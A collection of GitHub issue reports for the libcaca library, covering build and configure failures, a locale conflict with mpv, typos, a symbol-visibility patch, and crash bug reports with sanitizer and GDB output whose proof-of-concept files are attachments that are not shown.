Tests fail to compile with cppunit >= 1.14 and GCC 5

Hi,
It seems that with cppunit 1.14 and GCC 5.40, tests fail to compile. Adding -std=c++11 to CXXFLAGS fixes the problem.

make  all-recursive
make[1]: Entering directory '/tmp/libcaca'
Making all in kernel
make[2]: Entering directory '/tmp/libcaca/kernel'
make[2]: Nothing to be done for 'all'.
make[2]: Leaving directory '/tmp/libcaca/kernel'
Making all in caca
make[2]: Entering directory '/tmp/libcaca/caca'
Making all in .
make[3]: Entering directory '/tmp/libcaca/caca'
make[3]: Nothing to be done for 'all-am'.
make[3]: Leaving directory '/tmp/libcaca/caca'
Making all in t
make[3]: Entering directory '/tmp/libcaca/caca/t'
  CXX      caca_test-canvas.o
In file included from /usr/lib/gcc/x86_64-pc-linux-gnu/5.4.0/include/g++-v5/type_traits:35:0,
                 from /usr/include/cppunit/tools/StringHelper.h:7,
                 from /usr/include/cppunit/TestAssert.h:8,
                 from /usr/include/cppunit/TestCase.h:6,
                 from /usr/include/cppunit/TestCaller.h:5,
                 from /usr/include/cppunit/extensions/HelperMacros.h:9,
                 from canvas.cpp:15:
/usr/lib/gcc/x86_64-pc-linux-gnu/5.4.0/include/g++-v5/bits/c++0x_warning.h:32:2: error: #error This file requires compiler and library support for the ISO C++ 2011 standard. This support must be enabled with the -std=c++11 or -std=gnu++11 compiler options.
 #error This file requires compiler and library support \
  ^
In file included from /usr/include/cppunit/TestAssert.h:8:0,
                 from /usr/include/cppunit/TestCase.h:6,
                 from /usr/include/cppunit/TestCaller.h:5,
                 from /usr/include/cppunit/extensions/HelperMacros.h:9,
                 from canvas.cpp:15:
/usr/include/cppunit/tools/StringHelper.h:22:15: error: ‘enable_if’ in namespace ‘std’ does not name a template type
 typename std::enable_if<!std::is_enum<T>::value, std::string>::type toString(const T& x)
               ^
/usr/include/cppunit/tools/StringHelper.h:22:24: error: expected unqualified-id before ‘<’ token
 typename std::enable_if<!std::is_enum<T>::value, std::string>::type toString(const T& x)
                        ^
/usr/include/cppunit/tools/StringHelper.h:31:15: error: ‘enable_if’ in namespace ‘std’ does not name a template type
 typename std::enable_if<std::is_enum<T>::value, std::string>::type toString(const T& x)
               ^
/usr/include/cppunit/tools/StringHelper.h:31:24: error: expected unqualified-id before ‘<’ token
 typename std::enable_if<std::is_enum<T>::value, std::string>::type toString(const T& x)
                        ^
In file included from /usr/include/cppunit/Exception.h:4:0,
                 from /usr/include/cppunit/TestCaller.h:4,
                 from /usr/include/cppunit/extensions/HelperMacros.h:9,
                 from canvas.cpp:15:
/usr/include/cppunit/TestAssert.h: In static member function ‘static std::__cxx11::string CppUnit::assertion_traits<T>::toString(const T&)’:
/usr/include/cppunit/TestAssert.h:74:16: error: ‘toString’ is not a member of ‘CppUnit::StringHelper’
         return CPPUNIT_NS::StringHelper::toString(x);
                ^
In file included from /usr/include/cppunit/extensions/HelperMacros.h:9:0,
                 from canvas.cpp:15:
/usr/include/cppunit/TestCaller.h: At global scope:
/usr/include/cppunit/TestCaller.h:159:37: error: ‘std::function’ has not been declared
   TestCaller(std::string name, std::function<void()> test_function, Fixture* fixture):
                                     ^
/usr/include/cppunit/TestCaller.h:159:45: error: expected ‘,’ or ‘...’ before ‘<’ token
   TestCaller(std::string name, std::function<void()> test_function, Fixture* fixture):
                                             ^
/usr/include/cppunit/TestCaller.h:200:8: error: ‘function’ in namespace ‘std’ does not name a template type
   std::function<void()> m_test_function;
        ^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, CppUnit::TestCaller<Fixture>::TestMethod)’:
/usr/include/cppunit/TestCaller.h:121:6: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
      m_test_function( std::bind(test, m_fixture) )
      ^
/usr/include/cppunit/TestCaller.h:121:23: error: ‘bind’ is not a member of ‘std’
      m_test_function( std::bind(test, m_fixture) )
                       ^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, CppUnit::TestCaller<Fixture>::TestMethod, Fixture&)’:
/usr/include/cppunit/TestCaller.h:138:6: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
      m_test_function( std::bind(test, &fixture) )
      ^
/usr/include/cppunit/TestCaller.h:138:23: error: ‘bind’ is not a member of ‘std’
      m_test_function( std::bind(test, &fixture) )
                       ^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, CppUnit::TestCaller<Fixture>::TestMethod, Fixture*)’:
/usr/include/cppunit/TestCaller.h:155:6: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
      m_test_function( std::bind(test, fixture) )
      ^
/usr/include/cppunit/TestCaller.h:155:23: error: ‘bind’ is not a member of ‘std’
      m_test_function( std::bind(test, fixture) )
                       ^
/usr/include/cppunit/TestCaller.h: In constructor ‘CppUnit::TestCaller<Fixture>::TestCaller(std::__cxx11::string, int)’:
/usr/include/cppunit/TestCaller.h:162:17: error: ‘fixture’ was not declared in this scope
       m_fixture(fixture),
                 ^
/usr/include/cppunit/TestCaller.h:163:7: error: class ‘CppUnit::TestCaller<Fixture>’ does not have any field named ‘m_test_function’
       m_test_function(test_function)
       ^
/usr/include/cppunit/TestCaller.h:163:23: error: ‘test_function’ was not declared in this scope
       m_test_function(test_function)
                       ^
/usr/include/cppunit/TestCaller.h: In member function ‘void CppUnit::TestCaller<Fixture>::runTest()’:
/usr/include/cppunit/TestCaller.h:175:23: error: there are no arguments to ‘m_test_function’ that depend on a template parameter, so a declaration of ‘m_test_function’ must be available [-fpermissive]
       m_test_function();
                       ^
/usr/include/cppunit/TestCaller.h:175:23: note: (if you use ‘-fpermissive’, G++ will accept your code, but allowing the use of an undeclared name is deprecated)
In file included from /usr/include/cppunit/Exception.h:4:0,
                 from /usr/include/cppunit/TestCaller.h:4,
                 from /usr/include/cppunit/extensions/HelperMacros.h:9,
                 from canvas.cpp:15:
/usr/include/cppunit/extensions/TestNamer.h: In member function ‘std::__cxx11::string CppUnit::TestNamer::getTestNameFor(const string&, const E&) const’:
/usr/include/cppunit/extensions/TestNamer.h:70:69: error: ‘toString’ is not a member of ‘CppUnit::StringHelper’
       return getTestNameFor(testMethodName) + " with parameter: " + CPPUNIT_NS::StringHelper::toString(val);
                                                                     ^
In file included from canvas.cpp:15:0:
canvas.cpp: In static member function ‘static CppUnit::TestSuite* CanvasTest::suite()’:
canvas.cpp:29:5: error: ‘unique_ptr’ is not a member of ‘std’
     CPPUNIT_TEST_SUITE_END();
     ^
canvas.cpp:29:5: error: expected primary-expression before ‘>’ token
     CPPUNIT_TEST_SUITE_END();
     ^
canvas.cpp:29:5: error: ‘guard’ was not declared in this scope
     CPPUNIT_TEST_SUITE_END();
     ^
In file included from /usr/include/cppunit/extensions/HelperMacros.h:9:0,
                 from canvas.cpp:15:
/usr/include/cppunit/TestCaller.h: In instantiation of ‘void CppUnit::TestCaller<Fixture>::runTest() [with Fixture = CanvasTest]’:
canvas.cpp:109:44:   required from here
/usr/include/cppunit/TestCaller.h:175:22: error: ‘m_test_function’ was not declared in this scope
       m_test_function();
                      ^
make[3]: *** [Makefile:753: caca_test-canvas.o] Error 1
make[3]: Leaving directory '/tmp/libcaca/caca/t'
make[2]: *** [Makefile:1176: all-recursive] Error 1
make[2]: Leaving directory '/tmp/libcaca/caca'
make[1]: *** [Makefile:543: all-recursive] Error 1
make[1]: Leaving directory '/tmp/libcaca'
make: *** [Makefile:437: all] Error 2

Homepage is not reachable

The homepage http://caca.zoy.org/wiki/libcaca is not reachable (HTTP status code 503)

[BUG] Divide by zero in img2txt

version: latest commit f42aa68
driver: src/img2txt
Environment: ubuntu 22.04, clang-12
step to reproduce:

export CFLAGS="-fsanitize=address -g"
export CC=clang
./bootstrap
./configure 
make -j8
./src/img2txt ./divide_by_0.seed

Sanitizer output:

AddressSanitizer:DEADLYSIGNAL
=================================================================
==25214==ERROR: AddressSanitizer: FPE on unknown address 0x0000004d0433 (pc 0x0000004d0433 bp 0x7fff1cb39010 sp 0x7fff1cb38ee0 T0)
    #0 0x4d0433 in main /benchmarks/libcaca/src/img2txt.c:183:42
    #1 0x7fa2270f9d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x2dd8f)
    #2 0x7fa2270f9e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2de3f)
    #3 0x421944 in _start (/benchmarks/libcaca/src/img2txt+0x421944)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /benchmarks/libcaca/src/img2txt.c:183:42 in main
==25214==ABORTING

#POC
divide_by_0.zip

##Credit
Han Zheng
NCNIPC of China
Hexhive

Setting the locale interferes with mpv

Hello,

I noticed a bug when running mps-youtube with mpv on some occasions libcaca crashes mpv.

The source of the problem is that libcaca uses the setlocale function (here and here), and in languages that have comma as decimal mark this can lead to abnormal behavior.
The issue was also discussed here.
Can you take a look at this?
S.

ASan: heap-buffer-overflow src/libcaca/caca/dither.c:1347 in get_rgba_default

Tested commit: b38bcd6
Tools: american fuzzy lop 2.52b, afl-utils
libcaca-2018-12-31.zip
Credit: Henri Salo
Build with BMP loading. No other crashes found. I'll fuzz with Imlib2 next.
Looks same as #38.

$ /bin/img2txt libcaca-2018-12-31
=================================================================
==28225==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd1 at pc 0x7f94cd7d636c bp 0x7fffa62b8080 sp 0x7fffa62b8078
READ of size 1 at 0x60200000efd1 thread T0
    #0 0x7f94cd7d636b in get_rgba_default /home/hsalo/src/libcaca/caca/dither.c:1347
    #1 0x7f94cd7d636b in caca_dither_bitmap /home/hsalo/src/libcaca/caca/dither.c:1009
    #2 0x555abf324ea7 in main /home/hsalo/src/libcaca/src/img2txt.c:210
    #3 0x7f94cd40e2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
    #4 0x555abf325859 in _start (/home/hsalo/builds/libcaca/b38bcd63f069c8d7fbcdf10a3acd5b6c82cac3c8/bin/img2txt+0x3859)

0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
    #0 0x7f94cdb7ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
    #1 0x555abf326d5d in load_image /home/hsalo/src/libcaca/src/common-image.c:170
    #2 0xffff4c57051  (<unknown module>)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hsalo/src/libcaca/caca/dither.c:1347 in get_rgba_default
Shadow bytes around the buggy address:
  0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 07
  0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28225==ABORTING

ps. happy new year! :)

new release soon ?

Hello

the current git repo fix a bug when compiling with MSYS2 + mingw-w64 (vsnprintf redefinition)

is a new release planned soon ?

thank you

Minor typo in img2txt --help

There's a minor typo in 'img2txt --help' output. It gives:
Example : img2txt -w 80 -f ansi ./caca.png
It should be -W instad of -w.

It's present in 2 places according to search:

src/img2txt.c
python/examples/img2txt.py

Hide private symbols in libcaca

Libcaca.so presently exports 134 symbols (35%, full list attached) which are not present in libcaca's headers and thus are not supposed to be used by clients.

Removing these symbols would allow compiler to optimize code more aggressively, speed up dynamic linker on Linux and prevent clients from inadvertently using internal APIs.

I attached a simple patch that hides private symbols. It passes make check (I can do additional testing if needed). Would something like this be interesting for the project?

caca_removed_syms.txt
0001-Hide-private-symbols.patch.txt

The issue was found using ShlibVisibilityChecker.

503 on libcaca homepage

Hi,

Accessing http://caca.zoy.org/wiki/libcaca leads to 503 - Service Not Available. Is it a temporary failure? Is the homepage is being changed?

Add support for Autoconf 2.69

autoreconf_fail_log.zip

Configure failure on OS X 10.4 (bash 2.05)

Configuring with ancient bash fails with a syntax error:

checking for sin in -lm... yes
./configure: line 19389: conditional binary operator expected
./configure: line 19389: syntax error near `=~'
./configure: line 19389: `    [[ "$target_os" =~ [0-9]+ ]] && darwin_ver="${BASH_REMATCH[0]}"'

Downstream report: https://trac.macports.org/ticket/63758

It appears the issue was introduced with #1.

Cocoa driver failure: use of undeclared identifier '_running'

It appears that this implementation of setRunning no longer works.

Output on macOS 11 ARM (also occurs on Intel):

==> ./configure --disable-dependency-tracking --prefix=/opt/homebrew/Cellar/libcaca/0.99b20 --disable-csharp --disable-doc --disable-java --disable-python --disable-ruby --disable-slang --disable-x11
checking build system type... arm-apple-darwin20.6.0
checking host system type... arm-apple-darwin20.6.0
checking target system type... arm-apple-darwin20.6.0
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a race-free mkdir -p... ./.auto/install-sh -c -d
checking for gawk... no
checking for mawk... no
checking for nawk... no
checking for awk... awk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking whether UID '503' is supported by ustar format... yes
checking whether GID '20' is supported by ustar format... yes
checking how to create a ustar tar archive... gnutar
checking whether make supports the include directive... yes (GNU style)
checking for gcc... clang
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables... 
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether the compiler supports GNU C... yes
checking whether clang accepts -g... yes
checking for clang option to enable C11 features... none needed
checking whether clang understands -c and -o together... yes
checking dependency style of clang... none
checking how to run the C preprocessor... clang -E
checking whether the compiler supports GNU C++... yes
checking whether clang++ accepts -g... yes
checking for clang++ option to enable C++11 features... none needed
checking dependency style of clang++... none
checking how to run the C++ preprocessor... clang++ -E
checking dependency style of clang... none
checking dependency style of clang... none
checking how to print strings... printf
checking for a sed that does not truncate output... /usr/bin/sed
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for fgrep... /usr/bin/grep -F
checking for ld used by clang... /Library/Developer/CommandLineTools/usr/bin/ld
checking if the linker (/Library/Developer/CommandLineTools/usr/bin/ld) is GNU ld... no
checking for BSD- or MS-compatible name lister (nm)... /usr/bin/nm -B
checking the name lister (/usr/bin/nm -B) interface... BSD nm
checking whether ln -s works... yes
checking the maximum length of command line arguments... 786432
checking how to convert arm-apple-darwin20.6.0 file names to arm-apple-darwin20.6.0 format... func_convert_file_noop
checking how to convert arm-apple-darwin20.6.0 file names to toolchain format... func_convert_file_noop
checking for /Library/Developer/CommandLineTools/usr/bin/ld option to reload object files... -r
checking for objdump... objdump
checking how to recognize dependent libraries... pass_all
checking for dlltool... no
checking how to associate runtime and link libraries... printf %s\n
checking for ar... ar
checking for archiver @FILE support... no
checking for strip... strip
checking for ranlib... ranlib
checking command to parse /usr/bin/nm -B output from clang object... ok
checking for sysroot... no
checking for a working dd... /bin/dd
checking how to truncate binary pipes... /bin/dd bs=4096 count=1
checking for mt... no
checking if : is a manifest tool... no
checking for dsymutil... dsymutil
checking for nmedit... nmedit
checking for lipo... lipo
checking for otool... otool
checking for otool64... no
checking for -single_module linker flag... yes
checking for -exported_symbols_list linker flag... yes
checking for -force_load linker flag... yes
checking for stdio.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for strings.h... yes
checking for sys/stat.h... yes
checking for sys/types.h... yes
checking for unistd.h... yes
checking for dlfcn.h... yes
checking for objdir... .libs
checking if clang supports -fno-rtti -fno-exceptions... yes
checking for clang option to produce PIC... -fno-common -DPIC
checking if clang PIC flag -fno-common -DPIC works... yes
checking if clang static flag -static works... no
checking if clang supports -c -o file.o... yes
checking if clang supports -c -o file.o... (cached) yes
checking whether the clang linker (/Library/Developer/CommandLineTools/usr/bin/ld) supports shared libraries... yes
checking dynamic linker characteristics... darwin20.6.0 dyld
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking whether to build static libraries... yes
checking how to run the C++ preprocessor... clang++ -E
checking for ld used by clang++... /Library/Developer/CommandLineTools/usr/bin/ld
checking if the linker (/Library/Developer/CommandLineTools/usr/bin/ld) is GNU ld... no
checking whether the clang++ linker (/Library/Developer/CommandLineTools/usr/bin/ld) supports shared libraries... yes
checking for clang++ option to produce PIC... -fno-common -DPIC
checking if clang++ PIC flag -fno-common -DPIC works... yes
checking if clang++ static flag -static works... no
checking if clang++ supports -c -o file.o... yes
checking if clang++ supports -c -o file.o... (cached) yes
checking whether the clang++ linker (/Library/Developer/CommandLineTools/usr/bin/ld) supports shared libraries... yes
checking dynamic linker characteristics... darwin20.6.0 dyld
checking how to hardcode library paths into programs... immediate
checking for an ANSI C-conforming const... yes
checking for inline... inline
checking for pkg-config... /opt/homebrew/Library/Homebrew/shims/mac/super/pkg-config
checking pkg-config is at least version 0.9.0... yes
checking for suffix of libraries... .dylib.0
checking for stdio.h... (cached) yes
checking for stdarg.h... yes
checking for signal.h... yes
checking for sys/ioctl.h... yes
checking for sys/time.h... yes
checking for endian.h... no
checking for unistd.h... (cached) yes
checking for arpa/inet.h... yes
checking for netinet/in.h... yes
checking for winsock2.h... no
checking for errno.h... yes
checking for locale.h... yes
checking for getopt.h... yes
checking for dlfcn.h... (cached) yes
checking for termios.h... yes
checking for signal... yes
checking for ioctl... yes
checking for snprintf... yes
checking for sprintf_s... no
checking for vsnprintf... yes
checking for vsnprintf_s... no
checking for getenv... yes
checking for putenv... yes
checking for strcasecmp... yes
checking for htons... yes
checking for usleep... yes
checking for gettimeofday... yes
checking for atexit... yes
checking for _mingw.h... no
checking for getopt_long... yes
checking for Sleep... no
checking for fsin/fcos... no
checking for fldln2/fxch/fyl2x... no
checking for zlib.h... yes
checking for gzopen in -lz... yes
checking for sin in -lm... yes
checking for conio.h... no
checking for windows.h... no
checking for GL/gl.h... no
checking for OpenGL/gl.h... yes
checking for GL/glut.h... no
checking for ftgl >= 2.1.3... no
checking for Cocoa/Cocoa.h... yes
checking for ncursesw/ncurses.h... no
checking for ncurses/ncurses.h... no
checking for ncurses.h... yes
checking for initscr in -lncursesw... no
checking for initscr in -lncurses... yes
checking for resizeterm... yes
checking for resize_term... yes
checking valid output drivers... cocoa ncurses
checking whether compiler supports visibility annotations... no
checking working <iostream>... yes
checking available language bindings... C++
checking for sys/socket.h... yes
checking for imlib2... yes
checking for pangoft2... no
checking for zzuf... no
checking that generated files are newer than configure... done
configure: creating ./config.status
config.status: creating Makefile
config.status: creating kernel/Makefile
config.status: creating caca/Makefile
config.status: creating caca/t/Makefile
config.status: creating src/Makefile
config.status: creating examples/Makefile
config.status: creating tools/Makefile
config.status: creating java/Makefile
config.status: creating caca-sharp/Makefile
config.status: creating cxx/Makefile
config.status: creating python/Makefile
config.status: creating ruby/Makefile
config.status: creating doc/Makefile
config.status: creating build/Makefile
config.status: creating caca/caca.pc
config.status: creating caca-sharp/caca-sharp.dll.config
config.status: creating cxx/caca++.pc
config.status: creating doc/doxygen.cfg
config.status: creating caca-config
config.status: creating config.h
config.status: executing depfiles commands
config.status: executing libtool commands
==> make
/Library/Developer/CommandLineTools/usr/bin/make  all-recursive
Making all in kernel
make[2]: Nothing to be done for `all'.
Making all in caca
Making all in .
  CC       libcaca_la-caca_conio.lo
  CC       libcaca_la-caca.lo
  CC       libcaca_la-canvas.lo
  CC       libcaca_la-string.lo
  CC       libcaca_la-dirty.lo
  CC       libcaca_la-caca0.lo
  CC       libcaca_la-transform.lo
  CC       libcaca_la-charset.lo
  CC       libcaca_la-attr.lo
  CC       libcaca_la-line.lo
  CC       libcaca_la-box.lo
  CC       libcaca_la-conic.lo
  CC       libcaca_la-triangle.lo
  CC       libcaca_la-frame.lo
  CC       libcaca_la-dither.lo
  CC       libcaca_la-font.lo
  CC       libcaca_la-file.lo
  CC       libcaca_la-figfont.lo
  CC       libcaca_la-graphics.lo
  CC       libcaca_la-event.lo
  CC       libcaca_la-time.lo
  CC       libcaca_la-prof.lo
  CC       libcaca_la-getopt.lo
  CC       driver/libcaca_la-ncurses.lo
  CC       driver/libcaca_la-null.lo
  CC       driver/libcaca_la-conio.lo
  CC       driver/libcaca_la-raw.lo
  CC       driver/libcaca_la-slang.lo
  CC       driver/libcaca_la-vga.lo
  CC       driver/libcaca_la-win32.lo
  CC       driver/libcaca_la-x11.lo
  CC       driver/libcaca_la-gl.lo
  OBJC     driver/libcaca_la-cocoa.lo
  CC       codec/libcaca_la-import.lo
  CC       codec/libcaca_la-export.lo
  CC       codec/libcaca_la-text.lo
driver/cocoa.m:399:5: error: use of undeclared identifier '_running'
    _running = 1;
    ^
1 error generated.
make[3]: *** [driver/libcaca_la-cocoa.lo] Error 1
make[3]: *** Waiting for unfinished jobs....
make[2]: *** [all-recursive] Error 1
make[1]: *** [all-recursive] Error 1
make: *** [all] Error 2
ln -s ../Cellar/libcaca/0.99b20_3/bin/caca-config caca-config
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaclock cacaclock
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacademo cacademo
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacafire cacafire
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaplay cacaplay
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaserver cacaserver
ln -s ../Cellar/libcaca/0.99b20_3/bin/cacaview cacaview
ln -s ../Cellar/libcaca/0.99b20_3/bin/img2txt img2txt
ln -s ../Cellar/libcaca/0.99b20_3/include/caca++.h caca++.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca.h caca.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca0.h caca0.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca_conio.h caca_conio.h
ln -s ../Cellar/libcaca/0.99b20_3/include/caca_types.h caca_types.h
ln -s ../Cellar/libcaca/0.99b20_3/share/libcaca libcaca
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/caca-config.1 caca-config.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacademo.1 cacademo.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacafire.1 cacafire.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacaplay.1 cacaplay.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacaserver.1 cacaserver.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/cacaview.1 cacaview.1
ln -s ../../../Cellar/libcaca/0.99b20_3/share/man/man1/img2txt.1 img2txt.1
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca++.0.dylib libcaca++.0.dylib
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca++.a libcaca++.a
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca++.dylib libcaca++.dylib
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca.0.dylib libcaca.0.dylib
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca.a libcaca.a
ln -s ../Cellar/libcaca/0.99b20_3/lib/libcaca.dylib libcaca.dylib
ln -s ../../Cellar/libcaca/0.99b20_3/lib/pkgconfig/caca++.pc caca++.pc
ln -s ../../Cellar/libcaca/0.99b20_3/lib/pkgconfig/caca.pc caca.pc

[BUG] Floating point exception

img2txt and cacaview both crash when loading the image
crash.zip

[Bug] Integer overflow on the return value after _caca_alloc2d() call

Describe the bug
If the project is compiled for 64-bit system, and the configure flag --disable-imlib2 was given. Then the pointer returned from _caca_alloc2d() call in load_image() at common-image.c is truncated to 32-bit with sign extension, later causing a SEGV writing to an invalid memory area.

libcaca/src/common-image.c

Lines 163 to 173 in f42aa68

    
           /* Allocate the pixel buffer */ 
        
           im->pixels = _caca_alloc2d(im->w, im->h, depth); 
        
           if (!im->pixels) 
        
           { 
        
               caca_file_close(f); 
        
               free(im); 
        
               return NULL; 
        
           } 
        
           memset(im->pixels, 0, im->w * im->h * depth);

System info：

Ubuntu 20.04.3 LTS, gcc 10.3.0-1ubuntu1~20.04
latest commit f42aa68

Steps to reproduce the behavior

compile

export CONF_FLAGS="--disable-imlib2 --disable-shared"
export CFLAGS="-g -fPIE"
export CXFLAGS=${CFLAGS}
export CC=gcc-10
export CXX=g++-10
./bootstrap
./configure ${CONF_FLAGS}
make clean
make

run command: ./src/img2txt POC

Output

Segmentation fault (core dumped)

GDB screenshot

(gdb) b load_image
Breakpoint 1 at 0x7180: file common-image.c, line 35.
(gdb) r
Starting program: ./img2txt POC

Breakpoint 1, load_image (name=0x7fffffffe771 "POC")
    at common-image.c:35
35      {

(gdb) b _caca_alloc2d
Breakpoint 2 at 0x55555555bff0: file caca.c, line 288.
(gdb) c
Continuing.

Breakpoint 2, _caca_alloc2d (width=1, height=59968, elem_size=32) at caca.c:288
288     {
(gdb) finish
Run till exit from #0  _caca_alloc2d (width=1, height=59968, elem_size=32) at caca.c:288
0x000055555555b563 in load_image (name=<optimized out>) at common-image.c:164
164         im->pixels = _caca_alloc2d(im->w, im->h, depth);
Value returned is $1 = (void *) 0x7ffff6ef6010
(gdb) x/2i $rip
=> 0x55555555b563 <load_image+995>:     movslq %eax,%rdi  <------------ [0] here wrong conversion
   0x55555555b566 <load_image+998>:     mov    %rdi,(%r14)
(gdb) p/x $rax
$2 = 0x7ffff6ef6010
(gdb) p/x $rdi
$3 = 0x0
(gdb) si
0x000055555555b566      164         im->pixels = _caca_alloc2d(im->w, im->h, depth);
(gdb) p/x $rax
$4 = 0x7ffff6ef6010
(gdb) p/x $rdi                                            <------------ [1] 
$5 = 0xfffffffff6ef6010



(gdb) b memset
Breakpoint 3 at 0x55555555b57a: memset. (2 locations)
(gdb) c
Continuing.

Breakpoint 3, 0x000055555555b57a in memset (__len=<optimized out>, __ch=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71
71        return __builtin___memset_chk (__dest, __ch, __len, __bos0 (__dest));
(gdb) p/x $rdi
$6 = 0xfffffffff6ef6010
(gdb) x/x $rdi
0xfffffffff6ef6010:     Cannot access memory at address 0xfffffffff6ef6010
(gdb) c
Continuing.

Breakpoint 3, __memset_avx2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S:167
167     ../sysdeps/x86_64/multiarch/memset-vec-unaligned-erms.S: No such file or directory.
(gdb)

POC

default configure options cause non working binaries on msys2

Apparently, the resulting binaries try to use an autodetected Windows console, since every example with caca_create_display() fails

The solution is to disable everything, and only keep ncurses:

./configure --prefix=/usr/local --enable-shared --disable-static --disable-kernel --disable-slang --enable-ncurses --disable-win32 --disable-conio --disable-x11 --disable-gl --disable-cocoa --enable-network --disable-vga --disable-csharp --disable-java --disable-imlib2 --disable-debug --disable-profiling --disable-plugins --disable-doc

For img2text and cacaview, files must be created as uncompressed bmp3, for example with imagemagick:

/mingw64/bin/convert snake.jpg -type Optimize -compress none BMP3:snake.bmp

CVE-2018-20547

Following vulnerability has been reported to Red Hat issue tracker:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20547
https://bugzilla.redhat.com/show_bug.cgi?id=1652624

meson build fails

When trying gst-build libcaca failed because the macro in caca0.h is of unsupported syntax fro VS
I gurded and changed to the syntax in the documentation for MS to get it to build

#if defined _MSC_VER
  #define caca_printf(x, y, f, ...) caca_printf(__caca0_cv, x, y, f, __VA_ARGS__)
#else
  #define caca_printf(x, y, f, z...) caca_printf(__caca0_cv, x, y, f, ##z)
#endif

CVE-2021-3410

Following vulnerability has been reported to Red Hat issue tracker:

https://bugzilla.redhat.com/show_bug.cgi?id=1928437

Python examples cause segmentation fault on Mac

Every time I try to run the Python demos in /python/examples/, they cause a "Segmentation fault: 11" error.

I'm using libcaca installed via homebrew with Python 2.7 on MacOS X 10.11.5.

I'm attaching the crash reporter dump:

Process:               Python [62667]
Path:                  /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
Identifier:            Python
Version:               2.7.10 (2.7.10)
Code Type:             X86-64 (Native)
Parent Process:        bash [34204]
Responsible:           Terminal [34201]
User ID:               503

PlugIn Path:             /usr/local/lib/libcaca.dylib
PlugIn Identifier:       libcaca.dylib
PlugIn Version:          ??? (0)

Date/Time:             2016-05-17 15:07:27.433 -0500
OS Version:            Mac OS X 10.11.5 (15F34)
Report Version:        11
Anonymous UUID:        2C1D4E6E-BF81-7EDE-7D18-ACE40F4E6AAE


Time Awake Since Boot: 16000 seconds

